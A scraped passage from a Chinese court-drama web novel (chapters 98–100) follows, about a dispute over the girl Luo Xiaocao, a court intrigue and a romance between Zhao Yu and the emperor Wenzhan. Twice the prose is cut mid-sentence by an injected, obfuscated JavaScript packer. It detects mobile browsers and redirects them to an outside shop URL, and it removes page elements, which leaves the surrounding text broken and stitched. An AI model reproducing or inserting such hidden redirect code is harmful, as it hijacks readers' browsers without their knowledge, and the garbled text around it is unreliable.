“嗨!”黄枞菖笑道,“不用这么麻烦。宫里的墨有的是,即使不动墨务官为圣上做的御墨,千年来徽歙大师们做的墨,玉熙宫还存着几大箱子呢!那些是呕心沥血的珍品,正经的坚如石、纹如犀、黑如漆,我随便拿两块过来,就够两位姑娘用十年的。” 赵格非则说,“我爹说,去谢家读书的人不是权贵官宦家的小姐,就是民间巨富人家的姑娘,……” 黄枞菖,“对呀,所以我说,咱们在这些千金小姐中间可不能堕了志气,咱们的行头一定要比她们强!姑娘,稍等,我这就回玉熙宫拿墨去。” “黄瓜叔,您听我说完。”赵格非拦住他,“别这么躁,先喝盏茉莉花润润喉咙。” 旁边有小宫女连忙奉上盖碗。 黄枞菖接过去,手指捏着茶碗的盖子,轻轻啜了一口水。 赵格非,“我爹说谢家太黑,开馆收的束脩太贵。他想着我去读书的同窗都是一些权门或者富家千金,喜欢新玩意,就不在乎金钱,所以,他让我带上自己商行做的墨,也好推广推广,这样多赚一些银子,好付谢家的谢师礼钱。” 黄枞菖一口茶水差点喷出来! 赵格非淡淡看了他一眼,面上是关切的笑,其实不着痕迹的向旁边闪躲了闪躲,心中暗道,——都说物以类聚,人以群分,亲爹却不这样。他交游广阔,三教九流,上至王公显贵,下至贩夫走卒、倚门卖笑的苦人,并且,他同黄枞菖这样的人相处了几十年,还没有被带歪,果然正经是铁骨铮铮的君子! 黄枞菖忽然觉得鼻子痒痒,想要打喷嚏,却觉得在赵格非面前不好这样,于是活生生的忍住了,他想起来一件事,就问,“姑娘,方才我去给太贵妃问安,看见她老人家正在修炼。可是,今天这种阵仗我真没见过,只是觉得非僧非道,不知道是个什么神通?” 赵格非,“祖母不修炼了,我爹不让。” 黄枞菖也学着太贵妃的样子,把自己扭成一个糟溜虾仁,“太贵妃当时是这样。” “哦。”赵格非点头,“这是印度传来的一种五禽戏,可以修身养性,强身健体,延年益寿,而且练习的时候不需要念一些杂七杂八的经文,我爹觉得很适合祖母,就找了图纸让她试着做一做。结果很好,祖母很喜欢,说自己像是年轻了十岁,现在下腰劈叉都比之前轻松了许多。黄瓜叔,您想试一试吗?” “我是劳碌命,不到修生养性的时候。”黄枞菖,“这个印度的五禽戏,除了强身健体,延年益寿还有其它功效吗?” “应该有的,只是,……” 此时,赵格非收拾好东西,装了一个包袱皮,她拎着向外走。 黄枞菖跟着她,“只是什么?” 赵格非想了想才说,“因为需要辟谷,所以可以清心寡欲,使心地清净,少生欲念。这个,黄瓜叔一直在微音殿,需要很多东西,唯独不需要这个。” “为什么?”黄枞菖问,“书上还说,为官需要清心少欲,这样才能吏民安之?” “既然想要清正少欲,为何不去深山古刹?还有,……”赵格非笑着说,“书上不这么写,读书人就不爱看了。” 黄枞菖忽然极清淡的笑了一下,却不说话。 赵格非,“黄瓜叔?” 黄枞菖,“忽然觉得,姑娘真是你爹的亲闺女。” 赵格非,“……?” 兰叶巷到了。 赵府小院中有些闹。赵大叔应门,一看是赵格非和黄枞菖,连忙为他们拉住马的缰绳,让他们赶紧进去。 “这是怎么了?”赵格非拎着小包袱,一边走,一边奇怪,“我爹的院子清净,地方也隐蔽,向来没有客人来,今天不一样,比大年三十还热闹,就好像唱了一整本的大闹天宫!” 院子中,罗小草跪着一对儿夫妇面前,“爹,娘,你们快走吧,别再闹了。” 赵大妈收起蒲扇一样的手丫子,和树墩子一样的壮实的身躯,像个良家妇人一般,全身缩着立在廊檐下,此时,她把温良恭俭让的气息散发到满小院子都是。赵大妈眼观六路耳听八方,一听见赵格非进来,连忙小碎步过来,“大小姐来了,这事儿太大,只能您做主!” 此时,罗小草没有扯住那个她唤做“爹”的男人,那人看见赵格非也过来,问明白她的身份之后,开口就说,“我家闺女被你爹强买做妾,你要管管。” “我爹从不买妾。”赵格非则说,“再说,我为人子女的,长辈做什么事,我哪里敢插手。” 男人愣了一下,转念,也的确是这个理儿,又说,“你娘得管。” 赵格非眼神一硬,像西北经年的冰霜,却没有说话。 赵大妈连忙说,“先夫人已经往生了。” 罗小草的爹听不太明白字面上的意思,却大致明白,——这个赵毓,似乎没有老婆。 他心思转换,如果赵毓没有老婆,这是个好事,如今小草算是进了门,以后再同了房,生下一儿半女的,没准就有福气做太太了。 不对! 这个赵毓不过是个买卖人,他家小院子虽然地段不错,可老赵家怎么也不像是个有权有势的人家,实在不如徐总督家的小公子! 徐小公子家中倒是妻妾成群,自己闺女给他做小,就算生了儿子也未必能当太太,可是他老子却是镇守大郑北境的甘宁总督徐绍! 现如今雍京城中,但凡明白一些的人,谁不知道徐总督的权势? 其实罗小草的爹也不明白徐绍究竟怎样的权势滔天。 关于徐总督的事情,他也是听朱七姐说的。他知道朱七姐这个女人是个人物,虽然身在风尘,手中却握着几个大买卖,身家丰厚。她认识的人都是显贵,经由她把罗小草嫁入徐府,他自己就是徐小公子的老丈人,他下半辈子想要吃香的喝辣的,那还不是跟今天吃三碗棒子面粥一样容易? 想到这里,罗小草的爹对赵格非说,“姑娘,你爹做的事情,我们也不计较了。今天我就要把自己的闺女领回去,这你可拦不住。我另外给她找了个人家,让她嫁入富贵窝,也算我们做父母的对得起她了。” 闻言,赵格非则说,“罗先生稍安勿躁,先喝杯水吧。赵大叔,麻烦您,……” 话音未落,赵大叔已经捧着冉庄小瓷窑自己烧造的大青花茶壶过来,他冲泡了整整一大壶的高沫,给罗小草爹娘一人倒了一大碗茶水。 赵格非扯着赵大妈到一旁,低声问,“到底是怎么回事?” 赵大妈笑了笑,“这不是要开春了嘛,小草知道老爷送她去读书,特别高兴。我领着她上街买纸,没想到遇到了徐衙内。”她见赵格非不明白,就说,“徐绍家的小儿子。” “甘宁总督徐绍?”赵格非有些意外,“他不是一直在北境吗?” “这个小儿子是他第三个老婆生的。”赵大妈解释,“徐总督一直在打仗,日子过的动荡,小儿子和三老婆一直在南方他老丈人家养着。如今徐总督今夕不同往日了,三老婆带着小儿子来雍京城,也算给徐大人打个前站,收拾收拾新买的府邸,结交结交雍京的显贵。” 赵格非点点头。 赵大妈,“没想到,徐衙内刚从长生当铺买了玉出来,就看到小草了。长生当铺,就是徽郡王家的那个当铺,去年老爷银钱不凑手的时候,姑娘还把兰叶巷的地契拿去典当来着?” 赵格非点头,“我记得。” “姑娘也能看明白,小草生的真好,放人堆里也算扎眼,但是,再扎眼也不过是个十岁的孩子,人都没长开。这个徐衙内的外祖家是江南巨富,他自小在金银窝中长大,据说家中娇妻美妾任君尝,他又不是什么修身养性的人,自小风流惯了,什么绝色没见过?他楞说自己一见小草就知道这是前世定下的姻缘,他想要把小草迎回府中,好好对待她,还什么一生一世。” 赵格非两道眉毛微微皱起来。 赵大妈,“小草自己明白,她都说,这个徐小公子挑上她,就跟在菜场挑上一块猪肉一样,回家是红烧、清蒸还是剁碎了做肉骨丸子,她都做不了主。这个徐衙内没安什么好心。她自己宁可死,也不要跟徐衙内走。我挺喜欢这个孩子,不能让她走到这么一个绝路上。” 赵格非又点点头,这次有些用力。 赵大妈,“徐衙内也是有真本事!我不知道他怎么钻山打洞,居然找到朱七姐,还找到了罗小草的爹娘,巧舌如簧,他楞说自己要三媒六聘把小草抬进徐府大门。这不是扯淡吗?徐总督这种人家,怎么可能娶一个农家姑娘做儿媳?再说,徐小公子有正经的大老婆,为了一个农家女出妻?大郑礼教森严,徐总督宁可把儿子打废了,也不会允许这样的事情发生。可是罗家不懂,他们被这个虚富贵迷瞎了眼,一心做着把闺女高嫁,自己荣华后半辈子的美梦。” “卖身契。”赵格非,“小草是我爹用了一百两黄金从朱七姐那里买来的,肯定签了卖身契,拿这个出来给他们看。” “关口就在这。”赵大妈凑到赵格非耳边,“当时老爷不是让小草回过家吗?他当时就把卖身契烧了。后来小草又被她爹卖了,是那个姓萧的后生把小草带回雍京的,根本没写卖身契。” 赵格非想了想,“那就是说,小草的亲爹有权把她带走?” “嗯。”赵大妈点头,“小草这个亲爹再混蛋,也是她亲爹。打、骂、卖,都得由着他。谁让我大郑以孝治天下,俗话不是说,天下无不是之父母吗?” 赵格非再聪明,也不过是十三岁的闺秀,她想了想,自己还真没法子,“这个朱七姐同我爹有仇吗?我一直以为她同我爹关系不错。我听我爹说过几句,他同朋友总去朱七姐家喝花酒,外出应酬的时候,也喜欢叫朱七姐家的先生们的局。” 赵大妈听着直乐,“老爷真是混不吝,这样的话同姑娘您也讲。” 赵格非则说,“我爹说了,世上的事情,不是闭上眼睛,捂住耳朵,不闻不问,就不存在。” “嗯。”赵大妈听着直点头,“我倒不觉得朱七姐同老爷有仇,我总觉得,这位奇女子同老徐家有仇。不然,她怎么会趁着徐总督没回雍京的当头,把人家小儿子往老爷对头的位子上捅?” 黄枞菖自从走进院子开始,就一直站在外围的花木从中。 现在虽然不是隆冬腊月,倒春寒却使花树依旧保持着枯枝的样貌,细瘦的枝杈无法遮挡住他的身形,只是如今院落中的喧闹使人们自己遮挡住了自己的眼睛,所以,无人注意到他。——只除了罗小草。 小姑娘见过他,她见他也过来,就给他端来一个大粗碗,里面是赵大爷冲泡的高沫。这种茶就是上等好茶叶的碎末,茶庄把它们敛一敛,以很低的价格卖给想要喝好茶,手中又没有很多钱的人。 这是好茶叶,并且极便宜,喝起来味道其实不错的。 黄枞菖坐在回廊下的栏杆上,单手端着大碗,一边慢慢喝着茶水,一边看着罗家爹妈,嘴边倒是带着笑,就是看着有些瘆人。 “小草。”他忽然问眼前的小姑娘,“你想给老爷做妾吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728956|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>罗小草摇头,“哥哥说我现在还小,什么都不懂,要先读书。 黄枞菖,“可是,读书却很苦。三更睡,五更起。冬天冷到能冻上砚台,手指生冻疮,又疼又痒,握不住笔。” 罗小草,“我知道辛苦,不过读书还是很好。哥哥还说,他之所以有今天,就是因为小的时候特别爱读书!” 黄枞菖,“……” 罗小草,“哥哥说自己冬天也读,夏天也读。早上天不亮他就从床上爬起来,每天背完一篇新课,写完一百个大字之后,天才蒙蒙亮。夏天更苦,哥哥盛夏读书读到中暑,他都不喊苦,喝点决明子水继续背书。他还说,他老爹当时特别心疼,不让他读了,可是他依旧继续,就是因为他当年坚持了下来,他才可以赚很多钱。” 黄枞菖,“……” 他心中嘀咕,——自己当年无所不用其极的叫王爷起床的经历全部喂了狗。 “老爷之所以有今天,是因为他是天生的贵胄。”黄枞菖也不管罗小草是否懂得贵胄是个什么意思,他只是淡漠的继续喝茶, “什么是贵胄?” “听说过鲤鱼跃龙门吗?” “嗯,嗯!”罗小草用力点头。 黄枞菖,“身为色彩斑斓的大鲤鱼,想要化身成龙,还需要千年道行,龙门一跃,褪去一身鱼鳞,血泪斑斑才能成就龙身。老爷天生就是龙身,不用跃。” “我用力读书,以后也能跃龙门吗?” “你现在是泥鳅,需要先修炼五百年风云际会成为鲤鱼,才能看老天爷是不是给你机缘有资格跃龙门。”黄枞菖笑,随后又说,“老爷身家丰厚,姑娘要是做了妾,以后生下一男半女,就可以穿金戴银,使奴唤婢了,这可比修炼成鲤鱼再跃龙门要轻松容易多了。” “可是。”罗小草极认真的说,“哥哥说过,越是看着轻松的路,走起来越艰难。因为看似轻松的路把人的脚已经碾废了,以后要是出现个坑坑洼洼什么的,直接就折里面了,爬都不爬不出来。我要是泥鳅,也要做一个最肥最能游水的大泥鳅!以后能不能变鲤鱼要看造化,我至少可以让自己在水塘里面找口吃的,不用再被卖来卖去了。哦,这也是哥哥说的。” 黄枞菖,“老爷说什么你都相信?” “我信!”罗小草,“哥哥是好人。” “小草,我和你说了这么多,其实,我是有苦衷的。”黄枞菖放下大粗碗,眉毛拥挤的在一起,似乎,胸中的苦衷都要从脸蛋子上满溢出来了,“这次你惹了一个大麻烦,徐衙内真的有权有势,而且你爹看样子是铁了心要把你送去徐府,老爷真的管不了。” “他要是硬插手,徐衙内肯定找他的麻烦。俗话说,民不与官斗,老爷再厉害也不过是老百姓,真的斗不过徐家。再说,当时老爷在宛平救了你,没让人把你带到南方窑子里面去,已经算是仁至义尽了。还有,小草,我刚才说了那么多,其实想告诉你,给豪门做妾也是一种修行。你这么好,在徐府也一样可以成为那个最肥最能游水的大泥鳅!” 徐衙内是个什么东西,没人在意,关键是他亲爹徐总督。目前甘宁总督徐绍镇守大郑北境,正堪大用。如果,他们为了一个偶然买回来的丫头与徐家结下不知道未来的恩怨,值得吗? 罗小草听着,忽然垂下眼睑,还是很认真却极用力的点头,“我懂。这位大叔,您不用再说了,我都明白。我这就跟我爹回去,绝对不会连累哥哥。” 雍王府,惜字斋。 文湛见赵毓给越筝连着喂了几碗醒酒汤,忽然开口问道,“今天雍王府邸的酒宴,徐绍的儿子到了吗?” “徐绍?”赵毓听着有些意外,“镇守北境的徐绍?” 文湛微微一点头。 越筝用袖子抹了一把嘴,才说,“在。” 文湛又问,“他坐哪里?” 越筝,“我以为皇兄知道。毕竟,这次酒宴邀请了什么人,座位是怎样安排的,厨子需要做什么菜,备了什么酒,请了哪家戏班进府唱堂会,我都让卫锦写了条陈,也画了草图,早就递给柳丛容了。” 闻言,文湛笑了,极轻,极艳,却带着肃杀,“承怡在,你硬气了不少。” 越筝刚要开口,却看见眼前的赵毓冲着他微微摇头,他还没回答,又听见文湛的声音,“承怡,你不用给他递眼色,让他说。” 赵毓这次异常认真的看着文湛,随后,皇帝微微轻咳一声,垂下眼睑,手中从旁边端过来一盏茶,开始心不在焉的喝了起来。 越筝则说,“徐稚坐在回廊边,从我开始向右数第五个的位子。” 文湛,“他的左右手边都是谁?” 越筝,“左手应该是谢芝,荣川长公主的次子,右边则是宗政文辩,敬和郡主的儿子。”随后,再加一句,“我在府邸设宴,过来吃酒听戏的都是纨绔子弟,没什么正经人。” ——没什么正经人,都是纨绔,可是这些纨绔却又为什么俱是皇亲贵戚?赵毓听着心中一动念,随后,听见越筝定定的看着他,问,“怡哥哥想说什么?” “我?”赵毓却说,“你头还疼吗?” “怡哥哥变了,厉害了好多。”越筝轻笑,“现在怡哥哥说谎,我差点看不出来。” 闻言,赵毓不言不语。 “如果怡哥哥想要问我头还疼不疼,应该一直很关切的看着我,不应该下意识的低垂着眼皮。”越筝继续,“哥哥在想什么?” “够了!”文湛忽然站起来,“越筝,你今晚不清醒,明日酒醒之后进宫。有什么话想问承怡,到时候再说。” 越筝就这样看着赵毓,一双眼睛似乎在问他,——怡哥哥,你走,还是不走? 不过,赵毓知道,越筝真正想要问的却也不是这个,而是,——承怡,你究竟可以为我做到哪一步? “文湛。”他开口,“到外面等我一下。” “你!”皇帝有些不太甘心,不过他也知道,今晚的确不是说话的时候,他就要出书房的屋门,越筝却扯着赵毓,“怡哥哥,你还是要走的。” 赵毓点点头,“嗯,我得回去。” 越筝,“我们这么久没见了,住我这里不好吗?” 赵毓却柔和笑了,说了一句,“皇帝的内宠,自然要回宫中住。” 越筝手指一松,赵毓感觉自己袖子垂下,这个一动作,似乎将三个人的呼吸都卷走了。 99. 99 99 文湛抬手对着越筝就是一耳光。 赵毓没有拉住他。 越筝结结实实的挨了一下子,却没有低头或者捂住脸,而是倔强的昂着下巴,看着他们。 “文湛!”赵毓推了推他,“先到外面等我一会儿。” “我不去。” “好。”赵毓把他推到靠近门边的一把椅子上,“那你坐在这里。”他又给他到了一盏茶水过来放在他手边。 安顿好文湛,赵毓让门外侍候的卫锦拿了布巾端了冷水进来。他将越筝拉到距离文湛远一些的地方坐下,用布巾沾了冷水给他敷脸。 赵毓在他面前蹲下,手指微微用力,按压住湿冷的布巾。 越筝脸颊上泛了红,却不是很肿胀。皇帝方才下手控制了力度,这一耳光力道不是很重,警告的意味却异常强烈。 “怡哥哥消气了吗?” “我不生气。”赵毓轻声道,“你做什么,说什么,我都不生气,只是,……” 他微微抬头。 惜字斋的琉璃灯光直接打在他的面孔上,璀璨之外却是不可思议的柔和。 赵毓忽然问,“越筝,你看我,是不是有些陌生?” 越筝没说话。 赵毓又说,“去年,你去西北道兑白银,如果不是确定知道遇到的人应该是我,你是不是,已经认不出我来了?” 陌生。 眼前人有着令人心寒的陌生。 今晚,越筝一直看着赵毓,他总是想要从眼前人的身上找到童年记忆中的“怡哥哥”。 他极其早慧。 他对自己一切记忆自傲到自负的地步。 他不相信,眼前这个“赵毓”就是回忆中的“承怡”! 可是。 他的心比眼睛更早的认出了他。——赵毓就是怡哥哥,他回来了。 “对不起,怡哥哥,我不应该那样说你。我明明知道你不是,……” 赵毓轻轻摇摇头,“我只是调侃一句,没想到圣上,……,你还疼吗?” 越筝的手指抬起,在自己脸颊旁握住了赵毓拿着布巾的手,——小了,怡哥哥的手变小了。原来他的手那么大,那么有力,可以一下子把自己端起来;现在他的手却小了许多,温温凉凉的,自己的一只手就可以把他的手包裹住。 赵毓忽然说,“越筝,你见过微音殿后院有一个小房子吗?那个小房子只有一个非常小的窗子,很高,就在廊檐下,它的门也很窄,像一个关野兽的笼子。” 越筝没见过这个小房子,可是他听说过那里。 那是惩罚皇子们的地方。 这些金枝玉叶们,年少时候如果人不听教导,不喜读书,或者恣意任性,却因为身份特殊,侍读学士们无法打骂,便关在那个小房子中“静静心”。 一天,两天,最多三天,再顽劣的皇子也会服软。毕竟这些生于深宫之中,长于妇人之手的天之骄子们,根本无法忍受宁静到冰冷的环境,简单到粗糙的食物,还有,被黑暗包裹的,似乎永远没有尽头的寂寞。 越筝问,“怡哥哥怎么知道那里?” 即使越筝的对往昔的记忆已经模糊,可是,他却清楚的知道,眼前这个人得先帝当今两代帝王的盛宠,根本与那个小房子无缘。 赵毓回答,“我曾经被先帝关在那里,整整二十天。” “怎么回事?”这是文湛的声音,他也是头一次听说这件事,接着他问,“这是什么时候的事?” 赵毓认真回想了一下,“应该是,……,我到毓正宫读书的第二年冬天。” “我记得了。”文湛记得赵毓所有的事情,“那年冬天你不在宫中。父皇说你跟随你母亲回冉庄省亲。” 想起来往事,赵毓忽然轻轻笑了,“我母亲到当真回了冉庄。” 文湛,“为什么?” 这一次,赵毓看着越筝,开口,一字一句道,“父皇罚我,因为我同文湛太过熟悉,所以,当我面对他,即使知道他是储君是太子,可我行君臣之礼时,头低不下去。父皇说,低不下去的头颅,就是罪。” 这件事,即使文湛也不知道。他只是记得,这么多年,承怡面对他跪拜的时候,头异样的低,甚至,已经压到了他的脚边。 赵毓,“父母之爱子,则为之计深远。我第一次听父皇对我说这句话,也是因为这件事。他说,下一任的主子不是我的父亲,不会任由我胡来,还一味包庇纵容,所以,为了我自己,我也必须知道自己的位子在哪里,边界在哪里,什么事情可以做,什么事情绝对不能做!” “越筝。” “我一走这么多年,这句话本来没有资格对你说。可是,我对你的心,和当年父皇对我的心是一样的。” 越筝松开了自己脸颊旁赵毓拿着布巾的手。 大正宫。 子夜。 回到寝殿,文湛将手中的油纸包裹的烤鸭子递给柳丛容,“切开,再剁一些酸的腌萝卜进去,吊汤。” “是。”柳丛容答应着,双手接过。 赵毓左右看了看,“柳芽,我让黄瓜送格非去一趟兰叶巷,他人呢,回来没有?” 柳丛容说,“黄秉笔人到是没有回来,不过他请了宁淮侯府的人护送姑娘回来了。不到宵禁,人就回了宫,如今姑娘在太贵妃的寿春宫安寝了。” 赵毓听着有些新鲜,“黄瓜人呢?” 柳丛容,“听姑娘说,似乎是老家有些事,他回去一趟。” 赵毓听着有些怪,可是又说不上哪里怪,他的头发有些痒痒,他抓了抓,随即转念一想,他与文湛在外面跑了一天,身上有灰又有烤鸭子、还有幽古的书香的味道,需要清洗一下。 文湛吩咐柳丛容准备热水。 等到他们两个都折腾完,赵毓低头抓着头发,看着滴滴答答的水滴,忽然想明白了,——黄瓜从来没有如此的不靠谱! “文湛,你说黄瓜家里有什么事?”他低头,文湛拿着布巾给他擦干头发,“我让他送花骨朵回一趟兰叶巷,这一条路说远不远,说近其实也不近。现在外面有一些人盯着我找我麻烦,我藏的严密,他们找不到我,我怕他们直接找花骨朵的麻烦。” “这个黄瓜,我让他把人送出去,他怎么找了老崔的人把人送回宫?” “我到不是说老崔的人办事不牢靠,可是,他的人终究是外臣,从宫门到寿春宫还有一段路,这些人无法进宫,花骨朵不得自己走吗?这段路就是十万八千里的征途那最后一哆嗦,万一这最后一步除了什么差错,……,这里是你的地盘,倒是也不会有什么差错。我就纳闷,黄瓜究竟做什么去了?” 文湛没说话。他把赵毓的头发擦干净之后,自己擦自己的。——极端没有章法。 赵毓看不下去了,让柳丛容换了几块新的松软布巾过来,他给文湛擦湿发。文湛的头发像极了他的性格,又黑又粗又硬又多,显得异常桀骜不驯,这一点上,他同崔珩有些像。 “怎么不说话,你,……”赵毓低头看看他,“生气了?” 文湛拿过赵毓手中布巾,自己擦,还是不说话。 赵毓,“你打了人,越筝都没说什么,你生什么气?” 文湛坐在软塌上,赵毓用梳子比划了一下,发现还是无法梳通,于是伸出手指,一次两次的帮他梳理长发。 “我不想听到那两个字。” “什么字?” “你知道的。” “内宠?” “嗯。” 赵毓的手指顺着尚且微潮的长发,一顺而下,“那你应该打我,这两个字是我说的。” 这一次,文湛把他的手给拨开了。 赵毓,“我只是调侃一下,同时,也让越筝不要再伪装乖巧了。” 眼前人的头发很长,很长很长,从他出生到如今,一直没有剪过,而赵毓的头发则是剪过的。文湛的头发就在手边,和自己的,可以绞扭在一起。如果,从他那里取一束,自己头发也剪一束,合在一起束在一起,就是“结发”吧。 “文湛,你也说过的,把眼睛蒙上,把耳朵堵上,不看不听,难道事情就不存在吗?” “你说,可以做娘子,我知道你是哄我开心,我也很开心。可是,归根究底,我们之间,还是皇帝与内宠的关系。” “这不是你的错。” “你头上压着十二道白玉珠的冕旒,它太重了。我有的时候觉得它才是主宰,我们都是它的傀儡。” 赵毓的手指轻轻插|入文湛的头发,酥酥麻麻的。 “所以,在它面前,一切都无足轻重。我不过是一个被废了王爵的庶民,也永远都是这个身份,所以,其实越筝说的对。我一个草民,还是男人,住在大正宫,不是帝王内宠,那我是啥?终归不是太监吧。” 听到这里,文湛倏然转过身子,直勾勾的盯着赵毓。 赵毓连忙说,“即使这样,我还是依旧心悦您,陛下。您看,我的这份心意是不是足以抵抗十二道白玉珠冕旒的重压?” “所以啊,别人说内宠就内宠吧。” “不过文湛,我一直有些搞不明白,这个内宠是专门指姬妾,还是只要在宫廷内,凡是帝王宠信的宦官、娈童,外加像竖刁、易牙、开方这样的厨子佞臣什么的都算是内宠?” 文湛,“你问这个做什么?” 赵毓抓了抓头发,“虽然无法流芳百世,可是,我也不想遗臭万年。说实话,我其实内心最深处还是很有信念的人,他日太史令写《郑传》,我可不想与这些佞臣小人厨子什么的被归到同一个册子中去。所以呢,最好的情景就是我没有名字。这样,好事情没有我的,坏事情也没有我的,我就可以吃喝玩乐一辈子,最后一床缂丝陀罗经被一盖了事,嘿嘿。” ——缂丝陀罗经被。 这是皇帝大殓才能使用的东西。 承怡这样说,是许下了生同衾、死同穴的诺言吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那些幽微不灭的执念究竟是什么? 他熬透了今生今世,可有得偿所愿的一天? 这些年,文湛看着自己血肉一寸一寸成灰。 将茶盏递给柳丛容,他闭了闭眼睛。——方才也许应该是场美梦,自己似乎见到了承怡。 他从西北回来了,他回到了雍京,也回到大正宫,他就躺在自己身边,原本冰冷的湖丝软缎也被他的身体焐的有温度了,他的发丝散落在枕头上。有的时候,他起身早了,自己身边只留下他睡过的痕迹,还有他的气息,清冽的,像穿过烈酒的水,可以荡涤一切的清水。 啊!…… 文湛睁开眼睛,一瞬间,不知道身在何处,他下意识连忙伸手摸了摸身旁,——空无一人!他连忙看了看自己枕头,却发现这一次,卧榻上摆放了两个枕头,并在一起,昭示着他不再是孤家寡人了。 皇帝稳了稳心神。 他周围没有人,卧榻之旁却有茶具。 借着月光,他看了看,全部都是元熙九年之后景德镇官窑烧造的瓷器。 没有“鸾”,一件都没有! 此时,内殿之外,有人低声说话,是赵毓!“这个瓦罐还不错,吊汤的时候不容易把水熬干。” 黄枞菖的声音,“祖宗,您慢点,这鸭子大,一个人撑死都吃不完,又没人同您抢。” “别提了,我今天折腾了一天,回来洗了澡就睡了,但是我这心中总是惦记着,总认为自己忘记一件极其重要的事情。可是,一直到我闭上眼睛睡着,我愣是没有想起来。这不,半夜自己饿醒了。敢情,我一回宫就饿了,临睡之前忘了觅食了。” “哎呦,慢点,慢点。”黄枞菖,“别说,这酸萝卜炖鸭子,还挺香。” “黄瓜,你跑哪去了,怎么大半夜才回来。” 黄枞菖,“这事是小孩没娘,说来话长。等明儿,我再跟您细说。” “好吧。”赵毓,“我再捞两块萝卜,你去拿点挂面来,咱们就着老鸭汤煮面吃,味道一定鲜。” 多半晌,赵毓打着饱嗝回寝殿,一眼看见文湛坐在榻上,“你怎么醒了?” 文湛有些愣怔的看着他,随后,皇帝从卧榻上起身,走到他面前,抬手,微微碰触了一下他的手。 温的。 实在的。 他是承怡! 他就在自己眼前! 文湛忽然一把抄起来他,两步回到卧榻,瓷实的压在丰厚的被褥上! “不是,你怎么,……,呜,……” 赵毓感觉自己身后一凉,随即,……,甚至还有些疼,他的双手连忙抓住面前身下的被褥,用力抓着,手指扭在一起,把褥子都抓成了一坨。 脖颈被凶狠的舔舐着。 “哥哥。” “哥哥,哥哥,哥哥,……” 文湛乱叫,见血封喉,能活生生割掉赵毓一条命! 赵毓感觉自己是承受了狂风骤雨的河流,却被堵塞了,雨越下越猛,他的水位越来越高涨,已经压到了堤坝的边缘,随时可能溃堤,那时,巨大的洪流必将汹涌而下,沿着河道淹没下游的一切生灵。 他需要宣泄! 他一低头,用力咬住被褥那一层苍白的湖州丝。 100. 100 100 一间小院。 这里贴着对联:杀,蛇虫鼠蚁;疗,疑难杂症。 横批:摸骨看相。 这些字对着日头,赵毓看着眼花。 事实上,不是他对着日头眼花,他最近都眼花,不仅如此,他的耳朵也有些嗡嗡作响。除了这些,如果他对着镜子仔细看看,还能看到面皮上眼睛下面有些些青色。最近不知道怎么了,即使每天睡到日上三竿,他还是累,总有一种行动迟缓,身体休息不过来的感觉。 文湛本来要传太医给他仔细瞧瞧,结果黄枞菖说有十万火急的大事,就扯着赵毓出宫了。 谁知道,他们出宫后,七扭八拐,最后到了一个偏僻的小巷子。 尽头是一个小院子。 这里种了许多柳树,栽种了许多花卉,还挖了一条活水,养了一池塘的肥鱼。如今早春,四周光秃秃,倒是看不出什么良辰美景奈何天,三月之后,几场雨一下,必定是赏心乐事谁家院。 屋子中坐着一个老头儿翘着山羊胡,黄枞菖介绍道,“这是牛神医。” 老头儿端详了一下赵毓,要他把手腕伸过去,开始号脉,不一会儿,他捻着山羊胡问赵毓,“这位老爷,春秋几何?” 赵毓,“我是凤化十八年生。” 牛神医,“哦,虚岁三十六?” 赵毓,“我娘把我生在了正月初一,没虚岁,实打实的三十六岁。” 牛神医点点头,“哎,这个岁数,虽然谈不上老朽,可也不是青春少艾了。” 他说着又仔细打量了打量赵毓,——人嘛,生的是真好,少有的好,就是这个面相,一看就知道是那个病症。 不过,他又摸了摸赵毓的手腕,——这个骨相嘛,稀有,当真稀有! “这位老爷,您这生辰八字外加这骨相,若是个女子,那就是异常罕见的皇后命,有正位中宫,母仪天下的大运!可惜,您是个男身,此一生,您可与高爵厚禄没有一丝一毫的缘分了,只能安心做个平头百姓。” 赵毓比了比自己的泪痣,“我小的时候,碰到一个算命的,他说我长了这个活不到二十三岁。可是我全须全尾的活到了二十四岁本命年,初一一过,我去砸了他的算命摊子,让他以后只能做厨子糊口,不能再招摇撞骗了。我说牛神医,您到底是悬壶济世,还是一根神棍,您告诉我,我帮您选个道儿。” 牛神医连忙摆手,表示不再泄露天机,他又问,“这位老爷,最近可是新纳了爱宠?” 赵毓寻思了一下,点头,“算是吧。” 牛神医轻叹口气,“惜福养生,惜福养生啊。” 赵毓颇有些丈二和尚摸不着头脑的困惑,“这位老人家,您这问来问去,最后也没有告诉我,我这到底是个什么毛病?” 黄枞菖在旁边连忙递纸笔,外加一锭白银,“神医,请您写个方子,我们回去好抓药。” “这个方子嘛,目前看来,还用不着。”牛神医开始苦口婆心,“这位老爷身子底子不错,就是最近放纵了些,我给你们写几个食疗的菜谱,回去好好吃上一段时日,能养回来。还有,您和新夫人要分房而居了,哎,古人云,色字头上一把刀,剐尽牡丹花下的风流鬼啊。” 赵毓,“……” 出了这个牛神医的小院,黄枞菖将他带到一个不大的馆子。 “祖宗,这是我和几个同乡开的小买卖,已经几年了,今天您第一次来,尝尝我们这里的土菜。” 赵毓一听,有些意外,他还当真仔细打量了打量,店面不太大,就是干净,出奇的干净,卖的都是一些老百姓喜爱的东西,从炒疙瘩到砂锅吊子,卤煮小肠、炒肝、烧麦、褡裢火烧和炸酱面,卖相有些粗,不过价钱很实惠。门口还有个伙计,守着一大盆卤好的猪耳朵,猪头肉,猪肘子,切成肥厚的大片儿,一个大子儿吃一片儿,专门给来来往往的伙计、车夫、马夫磨牙用的。 “买卖倒是真好,怎么,你手头紧?”赵毓,“我让账房给你开些银票出来。” 黄枞菖拉着赵毓向里面走,说,“我手头不紧。” 赵毓,“既然手头不紧,开什么买卖?赚钱不容易,劳心劳力,怪累的。我那里有钱。” 